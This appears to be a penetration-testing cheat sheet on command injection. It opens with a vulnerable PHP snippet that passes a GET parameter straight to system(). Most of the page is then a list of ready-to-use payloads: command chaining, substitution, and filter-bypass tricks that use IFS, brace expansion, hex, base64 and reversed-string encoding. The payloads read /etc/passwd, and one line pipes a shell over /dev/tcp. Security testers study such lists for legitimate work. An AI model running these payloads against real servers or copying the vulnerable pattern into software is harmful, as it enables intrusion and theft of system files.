Skip to main content

Command Injection

Command injection is a security flaw that allows attackers to run arbitrary system commands on a server. It occurs when user input is improperly validated and passed to a shell or command-line interpreter.

Vulnerable Code​

Following is a example how direct input is being passed to system() function without validation of any kind.

$user = $_GET['user'];
echo system("ping -c 1 " . $user);

If an attacker provides input like 8.8.8.8; cat /etc/passwd, the actual command that gets executed would be: ping -c 1 8.8.8.8; cat /etc/passwd.

Automated Tools​

Chaining Commands​

command1; command2   # Execute command1 and then command2
command1 && command2 # Execute command2 only if command1 succeeds
command1 || command2 # Execute command2 only if command1 fails
command1 & command2  # Execute command1 in the background
command1 | command2  # Pipe the output of command1 into command2
command1%0acommand2 # We can also try new line = %0a (\n)

Substitution​

`cat /etc/passwd`    # Using backtick
$(cat /etc/passwd)   # Using $()

# More Tricks
who$()ami
who$(echo am)i
who`echo am`i

Filter Bypasses​

Space is not Allowed​

# Using special shell variable called the 'Internal Field Separator'
cat${IFS}/etc/passwd
ls${IFS}-la

# Brace Expansion
{cat,/etc/passwd}
{ls,-la}

# Input redirection
cat</etc/passwd
sh</dev/tcp/127.0.0.1/4242

# Windows Specific (Using Environment Variables)
ping%CommonProgramFiles:~10,-18%127.0.0.1
ping%PROGRAMFILES:~10,-5%127.0.0.1
ping$env:PROGRAMFILES[10]127.0.0.1 # PowerShell Specific

# Must Try
# Use tabs instead of spaces with this URL-Encoded: %09

Backslash (\) Newline ​

rezy@dev:~$ cat /et\
c/pa\
sswd

root:x:0:0:root:/root:/usr/bin/zsh
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
[//..SNIP..//]

# URL-Encoded Version
cat%20/et%5C%0Ac/pa%5C%0Asswd

Tidle Expansion​

echo ~+ # shows the current working directory ($PWD).
echo ~- # shows the previous working directory ($OLDPWD).

More Brace Expansion​

{,ip,a}
{,ifconfig}
{,ifconfig,eth0}
{l,-lh}s
{,echo,#test}
{,$"whoami",}
{,/?s?/?i?/c?t,/e??/p??s??,}

/ is not Allowed​

We can use environment variables to retrive forward-slashes.

# Using ${HOME:0:1}
cat ${HOME:0:1}etc${HOME:0:1}passwd

# Using ${PATH:0:1}
cat ${PATH:0:1}etc${PATH:0:1}passwd

# Using:
# echo . | tr '!-0' '"-1'
# Or
# tr '!-0' '"-1' <<< .
cat $(echo . | tr '!-0' '"-1')etc$(echo . | tr '!-0' '"-1')passwd

Bypass Using Encoding​

# Hex Encoding
cat `echo -e "\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64"`
cat `xxd -r -p <<< 2f6574632f706173737764`

# Base64 Encoding
echo -n 'cat /etc/passwd' | base64
bash<<<$(base64 -d<<<Y2F0IC9ldGMvcGFzc3dk)

## Windows (PowerShell) - Execute Base64 String
iex "$([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String('dwBoAG8AYQBtAGkA')))"

Reverse Strings​

echo 'cat /etc/passwd' | rev

# Execute (Linux)
$(rev<<<'dwssap/cte/ tac')

# Execute (Windows)
iex "$('imaohw'[-1..-20] -join '')"

Quotes and Backticks​

# Single
w'h'o'am'i
wh''oami
'w'hoami

# Double
w"h"o"am"i
wh""oami
"wh"oami

# Backticks
wh``oami

Backslash and Slash ​

w\ho\am\i
/\b\i\n/////s\h

Positional Parameter Character ($@) and Caret ​

It refers to the name of the script if it's being run as a script. If you're in an interactive shell session, $0 will typically give the name of the shell

# $@
who$@ami
echo whoami|$0

# Caret (WINDOWS/CMD)
who^ami